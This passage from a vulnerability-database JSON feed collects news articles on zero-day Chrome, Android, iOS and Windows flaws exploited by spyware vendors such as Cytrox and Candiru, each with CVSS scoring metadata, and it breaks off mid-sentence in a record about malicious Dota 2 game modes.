the bugs in at least three different campaigns.\n\nThe commercial surveillance company is the maker of [Predator](<https://www.securityweek.com/citizen-lab-exposes-cytrox-vendor-behind-predator-iphone-spyware>), an implant [analogous](<https://citizenlab.ca/2021/12/pegasus-vs-predator-dissidents-doubly-infected-iphone-reveals-cytrox-mercenary-spyware/>) to that of NSO Group's [Pegasus](<https://thehackernews.com/2022/04/experts-uncover-spyware-attacks-against.html>), and is known to have developed tools that enables its clients to penetrate iOS and Android devices.\n\nIn December 2021, Meta Platforms (formerly Facebook) [disclosed](<https://thehackernews.com/2021/12/facebook-bans-7-cyber-mercenaries.html>) that it had acted to remove roughly 300 accounts on Facebook and Instagram that the company used as part of its compromise campaigns.\n\nThe list of the five exploited zero-day flaws in Chrome and Android is below -\n\n * [**CVE-2021-37973**](<https://thehackernews.com/2021/09/urgent-chrome-update-released-to-patch.html>) \\- Use-after-free in Portals API\n * [**CVE-2021-37976**](<https://thehackernews.com/2021/09/update-google-chrome-asap-to-patch-2.html>) \\- Information leak in core\n * [**CVE-2021-38000**](<https://thehackernews.com/2021/10/google-releases-urgent-chrome-update-to.html>) \\- Insufficient validation of untrusted input in Intents ([root cause analysis](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-38000.html>))\n * [**CVE-2021-38003**](<https://thehackernews.com/2021/10/google-releases-urgent-chrome-update-to.html>) \\- Inappropriate implementation in V8, and\n * [**CVE-2021-1048**](<https://thehackernews.com/2021/11/google-warns-of-new-android-0-day.html>) \\- Use-after-free in Android kernel ([root cause analysis](<https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-1048.html>))\n\nAccording to TAG, all the three campaigns in question commenced with a spear-phishing email that contained one-time links mimicking URL shortener services that, once clicked, redirected the targets to a rogue domain that dropped the exploits before taking the victim to an authentic site.\n\n\"The campaigns were limited \u2014 in each case, we assess the number of targets was in the tens of users,\" Lecigne and Resell noted. \"If the link was not active, the user was redirected directly to a legitimate website.\"\n\nThe ultimate goal of the operation, the researchers assessed, was to distribute a malware dubbed Alien, which acts as a precursor for loading Predator onto infected Android devices.\n\nThe \"simple\" malware, which receives commands from Predator over an inter process communication (IPC) mechanism, is engineered to record audio, add CA certificates, and hide apps to evade detection.\n\nThe first of the three campaigns took place in August 2021. It used Google Chrome as a jumping off point on a Samsung Galaxy S21 device to force the browser to load another URL in the Samsung Internet browser without requiring user interaction by exploiting CVE-2021-38000.\n\nAnother intrusion, which occurred a month later and was delivered to an up-to-date Samsung Galaxy S10, involved an exploit chain using CVE-2021-37973 and CVE-2021-37976 to escape the [Chrome sandbox](<https://chromium.googlesource.com/chromium/src/+/HEAD/docs/design/sandbox.md>) (not to be confused with [Privacy Sandbox](<https://thehackernews.com/2022/05/google-releases-first-developer-preview.html>)), leveraging it to drop a second exploit to escalate privileges and deploy the backdoor.\n\nThe third campaign \u2014 a full Android 0-day exploit \u2014 was detected in October 2021 on an up-to-date Samsung phone running the then latest version of Chrome. It strung together two flaws, CVE-2021-38003 and CVE-2021-1048, to escape the sandbox and compromise the system by injecting malicious code into privileged processes.\n\nGoogle TAG pointed out that while CVE-2021-1048 was fixed in the Linux kernel in September 2020, it wasn't backported to Android until last year as the [fix](<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=77f4689de17c0887775bb77896f4cc11a39bf848>) was not marked as a security issue.\n\n\"Attackers are actively looking for and profiting from such slowly-fixed vulnerabilities,\" the researchers said.\n\n\"Tackling the harmful practices of the commercial surveillance industry will require a robust, comprehensive approach that includes cooperation among threat intelligence teams, network defenders, academic researchers and technology platforms.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2022-05-20T10:58:00", "type": "thn", "title": "Cytrox's Predator Spyware Targeted Android Users with Zero-Day Exploits", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1048", "CVE-2021-37973", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003"], "modified": "2022-05-21T03:11:07", "id": "THN:C6CED16C5E8707F2EF9BD08516F7456C", "href": "https://thehackernews.com/2022/05/cytroxs-predator-spyware-target-android.html", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:02", "description": "[](<https://thehackernews.com/images/-tnjJ0FH8P0I/YEwt7ddHBcI/AAAAAAAACB8/2lR87aM5jBAUOKikDOdI3SWSC9ZG92FcgCLcBGAsYHQ/s0/chrome-browser-update.jpg>)\n\nGoogle has addressed yet another actively exploited zero-day in Chrome browser, marking the second such fix released by the company within a month.\n\nThe browser maker on Friday shipped 89.0.4389.90 for Windows, Mac, and Linux, which is expected to be rolling out over the coming days/weeks to all users.\n\nWhile the update contains a total of five security fixes, the most important flaw rectified by Google concerns a [use after free](<https://cwe.mitre.org/data/definitions/416.html>) vulnerability in its Blink rendering engine. The bug is tracked as CVE-2021-21193.\n\nDetails about the flaw are scarce except that it was reported to Google by an anonymous researcher on March 9.\n\nAccording to IBM, the vulnerability is rated 8.8 out of 10 on the CVSS scale, and could allow a remote attacker to execute arbitrary code on the target system. \"By persuading a victim to visit a specially crafted Web site, a remote attacker could exploit this vulnerability to execute arbitrary code or cause a denial of service condition on the system,\" the report stated.\n\nAs is usually the case with actively exploited flaws, Google issued a terse statement acknowledging that an exploit for CVE-2021-21193 existed but refrained from sharing additional information until a majority of users are updated with the fixes and prevent other threat actors from creating exploits targeting this zero-day.\n\n[](<https://thehackernews.com/images/-4e8UqaJKLag/YEwrYTe6kaI/AAAAAAAACB0/A61b0Tzs5nIymspbYAAIoURKA3zV5lE2QCLcBGAsYHQ/s0/chrome-zero-day.jpg>)\n\n\"Google is aware of reports that an exploit for CVE-2021-21193 exists in the wild,\" Chrome Technical Program Manager Prudhvikumar Bommana [noted](<https://chromereleases.googleblog.com/2021/03/stable-channel-update-for-desktop_12.html>) in a blog post.\n\nWith this update, Google has fixed three zero-day flaws in Chrome since the start of the year.\n\nEarlier this month, the company issued a fix for an \"object lifecycle issue in audio\" (CVE-2021-21166) which it said was being actively exploited. Then on February 4, the company resolved another actively-exploited heap buffer overflow flaw (CVE-2021-21148) in its V8 JavaScript rendering engine.\n\nChrome users can update to the latest version by heading to Settings > Help > About Google Chrome to mitigate the risk associated with the flaw.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-03-13T03:16:00", "type": "thn", "title": "Another Google Chrome 0-Day Bug Found Actively Exploited In-the-Wild", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193"], "modified": "2021-03-16T04:51:58", "id": "THN:15BF409706D7240A5276C705732D745F", "href": "https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:56", "description": "[](<https://thehackernews.com/images/-F1yuaWSy7gY/YMwPdaXQ2DI/AAAAAAAAC6A/mimpmywKfJIUJoPg7HuGaeY4E1nZogbKQCLcBGAsYHQ/s0/chrome-update.jpg>)\n\nGoogle has rolled out yet another update to Chrome browser for Windows, Mac, and Linux to fix four security vulnerabilities, including one zero-day flaw that's being exploited in the wild.\n\nTracked as **CVE-2021-30554**, the high severity flaw concerns a [use after free vulnerability](<https://cwe.mitre.org/data/definitions/416.html>) in WebGL (aka Web Graphics Library), a JavaScript API for rendering interactive 2D and 3D graphics within the browser.\n\nSuccessful exploitation of the flaw could mean corruption of valid data, leading to a crash, and even execution of unauthorized code or commands.\n\nThe issue was reported to Google anonymously on June 15, Chrome technical program manager Srinivas Sista [noted](<https://chromereleases.googleblog.com/2021/06/stable-channel-update-for-desktop_17.html>), adding the company is \"aware that an exploit for CVE-2021-30554 exists in the wild.\"\n\n[](<https://thehackernews.com/images/-ZBYemfi9DNk/YMwOkeK_woI/AAAAAAAAC54/vEnl5bwj7bEa33jqkIiw-8fKTpRk0l-FQCLcBGAsYHQ/s0/hacker.jpg>)\n\nWhile it's usually the norm to limit details of the vulnerability until a majority of users are updated with the fix, the development comes less than 10 days after Google addressed another zero-day vulnerability exploited in active attacks ([CVE-2021-30551](<https://thehackernews.com/2021/06/new-chrome-0-day-bug-under-active.html>)).\n\nCVE-2021-30554 is also the eighth zero-day flaw patched by Google since the start of the year.\n\n\"I'm happy we are getting better at detecting these exploits and the great partnerships we have to get the vulnerabilities patched, but I remain concerned about how many are being discovered on an ongoing basis and the role of commercial providers,\" [tweeted](<https://twitter.com/ShaneHuntley/status/1402320073818132483>) Shane Huntley, Director of Google's Threat Analysis Group, on June 8.\n\nChrome users are recommended to update to the latest version (91.0.4472.114) by heading to Settings > Help > 'About Google Chrome' to mitigate the risk associated with the flaw.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-18T03:16:00", "type": "thn", "title": "Update\u200c \u200cYour Chrome Browser to Patch Yet Another 0-Day Exploit\u200ced \u200cin\u200c-the\u200c-Wild", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30551", "CVE-2021-30554"], "modified": "2021-06-18T03:33:11", "id": "THN:62ECC5B73032124D6559355B66E1C469", "href": "https://thehackernews.com/2021/06/update-your-chrome-browser-to-patch-yet.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:04", "description": "[](<https://thehackernews.com/images/-QHv1N-h4fZY/YD8letBQzWI/AAAAAAAAB64/E1KslMnXt0oEcr7e27y2idTnPPl_nm3VQCLcBGAsYHQ/s0/chrome-hacking.jpg>)\n\nExactly a month after [patching](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) an actively exploited zero-day flaw in Chrome, Google today rolled out fixes for yet another zero-day vulnerability in the world's most popular web browser that it says is being abused in the wild.\n\nChrome 89.0.4389.72, released by the search giant for Windows, Mac, and Linux on Tuesday, comes with a total of 47 security fixes, the most severe of which concerns an \"object lifecycle issue in audio.\"\n\nTracked as CVE-2021-21166, the security flaw is one of the two bugs reported last month by Alison Huffman of Microsoft Browser Vulnerability Research on February 11. A separate object lifecycle flaw, also identified in the audio component, was reported to Google on February 4, the same day the stable version of Chrome 88 became available.\n\nWith no additional details, it's not immediately clear if the two security shortcomings are related.\n\n[](<https://thehackernews.com/images/--VPerofAuok/YD8mK08wMrI/AAAAAAAAB7I/VkM_Pg08vFQEvCxV3HbTbaDEd1HRja87QCLcBGAsYHQ/s0/hacking.jpg>)\n\nGoogle acknowledged that an exploit for the vulnerability exists in the wild but stopped short of sharing more specifics to allow a majority of users to install the fixes and prevent other threat actors from creating exploits targeting this zero-day.\n\n\"Google is aware of reports that an exploit for CVE-2021-21166 exists in the wild,\" Chrome Technical Program Manager Prudhvikumar Bommana [said](<https://chromereleases.googleblog.com/2021/03/stable-channel-update-for-desktop.html>).\n\nThis is the second zero-day flaw in Chrome that Google has addressed since the start of the year.\n\nOn February 4, the company [issued a fix](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) for an actively-exploited heap buffer overflow flaw (CVE-2021-21148) in its V8 JavaScript rendering engine. Additionally, Google last year [resolved five Chrome zero-days](<https://thehackernews.com/2020/11/two-new-chrome-0-days-under-active.html>) that were actively exploited in the wild in a span of one month between October 20 and November 12.\n\nChrome users can update to the latest version by heading to Settings > Help > About Google Chrome to mitigate the risk associated with the flaw.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-03-03T06:03:00", "type": "thn", "title": "New Chrome 0-day Bug Under Active Attacks \u2013 Update Your Browser ASAP!", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166"], "modified": "2021-03-13T02:55:42", "id": "THN:EF50BA60FF5E3EF9AF1570FF5A2589A0", "href": "https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:21", "description": "[](<https://thehackernews.com/images/-xmPJ5TMTpac/YO_wfpf1LkI/AAAAAAAADM4/xSKsZYAbLBYJjYvNQilqUM9z0lf0Rx7_gCLcBGAsYHQ/s0/chrome.jpg>)\n\nThreat intelligence researchers from Google on Wednesday [shed more light](<https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks/>) on four in-the-wild zero-days in Chrome, Safari, and Internet Explorer browsers that were exploited by malicious actors in different campaigns since the start of the year.\n\nWhat's more, three of the four zero-days were engineered by commercial providers and sold to and used by government-backed actors, contributing to an uptick in real-world attacks. The list of now-patched vulnerabilities is as follows -\n\n * [**CVE-2021-1879**](<https://thehackernews.com/2021/03/apple-issues-urgent-patch-update-for.html>): Use-After-Free in QuickTimePluginReplacement (Apple WebKit)\n * [**CVE-2021-21166**](<https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html>): Chrome Object Lifecycle Issue in Audio\n * [**CVE-2021-30551**](<https://thehackernews.com/2021/06/new-chrome-0-day-bug-under-active.html>): Chrome Type Confusion in V8\n * [**CVE-2021-33742**](<https://thehackernews.com/2021/06/update-your-windows-computers-to-patch.html>): Internet Explorer out-of-bounds write in MSHTML\n\nBoth Chrome zero-days \u2014 CVE-2021-21166 and CVE-2021-30551 \u2014 are believed to have been used by the same actor, and were delivered as one-time links sent via email to targets located in Armenia, with the links redirecting unsuspecting users to attacker-controlled domains that masqueraded as legitimate websites of interest to the recipients.\n\nThe malicious websites took charge of fingerprinting the devices, including collecting system information about the clients, before delivering a second-stage payload.\n\nWhen Google rolled out a patch for CVE-2021-30551, Shane Huntley, Director of Google's Threat Analysis Group (TAG), revealed that the vulnerability was leveraged by the same actor that abused CVE-2021-33742, an actively exploited remote code execution flaw in Windows MSHTML platform that was addressed by Microsoft as part of its [Patch Tuesday update](<https://thehackernews.com/2021/06/update-your-windows-computers-to-patch.html>) on June 8.\n\nThe two zero-days were provided by a commercial exploit broker to a nation-state adversary, which used them in limited attacks against targets in Eastern Europe and the Middle East, Huntley previously added.\n\n[](<https://thehackernews.com/images/--ol-CfJ3-bE/YO_tDkpfuNI/AAAAAAAADMw/bonGU0wpX_QzAsMNe5_Eh_0_Nb4OAma_QCLcBGAsYHQ/s0/zero-day.jpg>)\n\nNow according to a technical report published by the team, all the three zero-days were \"developed by the same commercial surveillance company that sold these capabilities to two different government-backed actors,\" adding the Internet Explorer flaw was used in a campaign targeting Armenian users with malicious Office documents that loaded web content within the web browser.\n\nGoogle did not disclose the identities of the exploit broker or the two threat actors that used the vulnerabilities as part of their attacks.\n\n## SolarWinds Hackers Exploited iOS Zero-Day\n\nThe Safari zero-day, in contrast, concerned a WebKit flaw that could enable adversaries to process maliciously crafted web content that may result in universal cross-site scripting attacks. The issue was rectified by Apple on March 26, 2021.\n\nAttacks leveraging CVE-2021-1879, which Google attributed to a \"likely Russian government-backed actor,\" were executed by means of sending malicious links to government officials over LinkedIn that, when clicked from an iOS device, redirected the user to a rogue domain that served the next-stage payloads.\n\nIt's worth noting that the offensive also mirrors a [wave of targeted attacks](<https://thehackernews.com/2021/05/solarwinds-hackers-target-think-tanks.html>) unleashed by Russian hackers tracked as Nobelium, which was found abusing the vulnerability to strike government agencies, think tanks, consultants, and non-governmental organizations as part of an email phishing campaign.\n\nNobelium, a threat actor linked to the Russian Foreign Intelligence Service (SVR), is also suspected of orchestrating the [SolarWinds supply chain attack](<https://thehackernews.com/2020/12/us-agencies-and-fireeye-were-hacked.html>) late last year. It's known by other aliases such as APT29, UNC2452 (FireEye), SolarStorm (Unit 42), StellarParticle (Crowdstrike), Dark Halo (Volexity), and Iron Ritual (Secureworks).\n\n\"Halfway into 2021, there have been [33 zero-day exploits](<https://googleprojectzero.github.io/0days-in-the-wild/rca.html>) used in attacks that have been publicly disclosed this year \u2014 11 more than the total number from 2020,\" TAG researchers Maddie Stone and Clement Lecigne noted. \"While there is an increase in the number of zero-day exploits being used, we believe greater detection and disclosure efforts are also contributing to the upward trend.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-15T08:25:00", "type": "thn", "title": "Google Details iOS, Chrome, IE Zero-Day Flaws Exploited Recently in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1879", "CVE-2021-21166", "CVE-2021-30551", "CVE-2021-33742"], "modified": "2021-07-15T12:45:33", "id": "THN:BBBFDA7EEE18F813A5DA572FD390D528", "href": "https://thehackernews.com/2021/07/google-details-ios-chrome-ie-zero-day.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:20", "description": "[](<https://thehackernews.com/images/-lnmWNBrSE9k/YPWhrFsftuI/AAAAAAAA4Tc/mV6atejnTU8JKQ98Latgx1poZRDDLxvXgCLcBGAsYHQ/s0/cyber.jpg>)\n\nTwo of the zero-day Windows flaws rectified by Microsoft as part of its Patch Tuesday update earlier this week were weaponized by an Israel-based company called Candiru in a series of \"precision attacks\" to hack more than 100 journalists, academics, activists, and political dissidents globally.\n\nThe spyware vendor was also formally identified as the commercial surveillance company that Google's Threat Analysis Group (TAG) revealed as exploiting multiple zero-day vulnerabilities in Chrome browser to target victims located in Armenia, according to a report published by the University of Toronto's Citizen Lab.\n\n\"[Candiru](<https://www.forbes.com/sites/thomasbrewster/2019/10/03/meet-candiru-the-super-stealth-cyber-mercenaries-hacking-apple-and-microsoft-pcs-for-profit/>)'s apparent widespread presence, and the use of its surveillance technology against global civil society, is a potent reminder that the mercenary spyware industry contains many players and is prone to widespread abuse,\" Citizen Lab researchers [said](<https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/>). \"This case demonstrates, yet again, that in the absence of any international safeguards or strong government export controls, spyware vendors will sell to government clients who will routinely abuse their services.\"\n\nFounded in 2014, the private-sector offensive actor (PSOA) \u2014 codenamed \"Sourgum\" by Microsoft \u2014 is said to be the developer of an espionage toolkit dubbed DevilsTongue that's exclusively sold to governments and is capable of infecting and monitoring a broad range of devices across different platforms, including iPhones, Androids, Macs, PCs, and cloud accounts.\n\nCitizen Lab said it was able to recover a copy of Candiru's Windows spyware after obtaining a hard drive from \"a politically active victim in Western Europe,\" which was then reverse engineered to identify two never-before-seen Windows zero-day exploits for vulnerabilities tracked as [CVE-2021-31979 and CVE-2021-33771](<https://thehackernews.com/2021/07/update-your-windows-pcs-to-patch-117.html>) that were leveraged to install malware on victim boxes.\n\nThe infection chain relied on a mix of browser and Windows exploits, with the former served via single-use URLs sent to targets on messaging applications such as WhatsApp. Microsoft addressed both the privilege escalation flaws, which enable an adversary to escape browser sandboxes and gain kernel code execution, on July 13.\n\nThe intrusions culminated in the deployment of DevilsTongue, a modular C/C++-based backdoor equipped with a number of capabilities, including exfiltrating files, exporting messages saved in the encrypted messaging app Signal, and stealing cookies and passwords from Chrome, Internet Explorer, Firefox, Safari, and Opera browsers.\n\nMicrosoft's analysis of the digital weapon also found that it could abuse the stolen cookies from logged-in email and social media accounts like Facebook, Twitter, Gmail, Yahoo, Mail.ru, Odnoklassniki, and Vkontakte to collect information, read the victim's messages, retrieve photos, and even send messages on their behalf, thus allowing the threat actor to send malicious links directly from a compromised user's computer.\n\nSeparately, the Citizen Lab report also tied the two Google Chrome vulnerabilities disclosed by the search giant on Wednesday \u2014 [CVE-2021-21166 and CVE-2021-30551](<https://thehackernews.com/2021/07/google-details-ios-chrome-ie-zero-day.html>) \u2014 to the Tel Aviv company, noting overlaps in the websites that were used to distribute the exploits.\n\nFurthermore, 764 domains linked to Candiru's spyware infrastructure were uncovered, with many of the domains masquerading as advocacy organizations such as Amnesty International, the Black Lives Matter movement, as well as media companies, and other civil-society themed entities. Some of the systems under their control were operated from Saudi Arabia, Israel, U.A.E., Hungary, and Indonesia.\n\nOver 100 victims of SOURGUM's malware have been identified to date, with targets located in Palestine, Israel, Iran, Lebanon, Yemen, Spain (Catalonia), United Kingdom, Turkey, Armenia, and Singapore. \"These attacks have largely targeted consumer accounts, indicating Sourgum's customers were pursuing particular individuals,\" Microsoft's General Manager of Digital Security Unit, Cristin Goodwin, [said](<https://blogs.microsoft.com/on-the-issues/2021/07/15/cyberweapons-cybersecurity-sourgum-malware/>).\n\nThe latest report arrives as TAG researchers Maddie Stone and Clement Lecigne noted a surge in attackers using more zero-day exploits in their cyber offensives, in part fueled by more commercial vendors selling access to zero-days than in the early 2010s.\n\n\"Private-sector offensive actors are private companies that manufacture and sell cyberweapons in hacking-as-a-service packages, often to government agencies around the world, to hack into their targets' computers, phones, network infrastructure, and other devices,\" Microsoft Threat Intelligence Center (MSTIC) [said](<https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/>) in a technical rundown.\n\n\"With these hacking packages, usually the government agencies choose the targets and run the actual operations themselves. The tools, tactics, and procedures used by these companies only adds to the complexity, scale, and sophistication of attacks,\" MSTIC added.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-16T11:13:00", "type": "thn", "title": "Israeli Firm Helped Governments Target Journalists, Activists with 0-Days and Spyware", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21166", "CVE-2021-30551", "CVE-2021-31979", "CVE-2021-33771"], "modified": "2021-07-19T16:01:00", "id": "THN:CDCF433A7837180E1F294791C672C5BB", "href": "https://thehackernews.com/2021/07/israeli-firm-helped-governments-target.html", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-14T06:13:19", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEiZ5EqGS9M-uWz6i8kYOjBKdLpSXrkKSk6QNM-jbWSUnjAa0fMoI-9Jo9UWv4Hhrt7PKl1E8_KhYdxQu-1EEKyXUbalRCjNiUSmVYb7Y3OwGbHb3GCieFJCSGkvxMOMWSIhqWGTQcRRSHSiPgQLQKDXfl03fJ53evbWAIGV2FbKx7UTCAUWvp2MDL9a/s728-e365/dota2.png>)\n\nAn unknown threat actor created malicious game modes for the Dota 2 multiplayer online battle arena (MOBA) video game that could have been exploited to establish backdoor access to players' systems.\n\nThe modes exploited a [high-severity flaw](<https://starlabs.sg/blog/2022/12-the-hole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/>) in the V8 JavaScript engine tracked as [CVE-2021-38003](<https://nvd.nist.gov/vuln/detail/CVE-2021-38003>) (CVSS score: 8.8), which was [exploited as a zero-day](<https://thehackernews.com/2021/10/google-releases-urgent-chrome-update-to.html>) and addressed by Google in October 2021.\n\n\"Since V8 was not sandboxed in Dota, 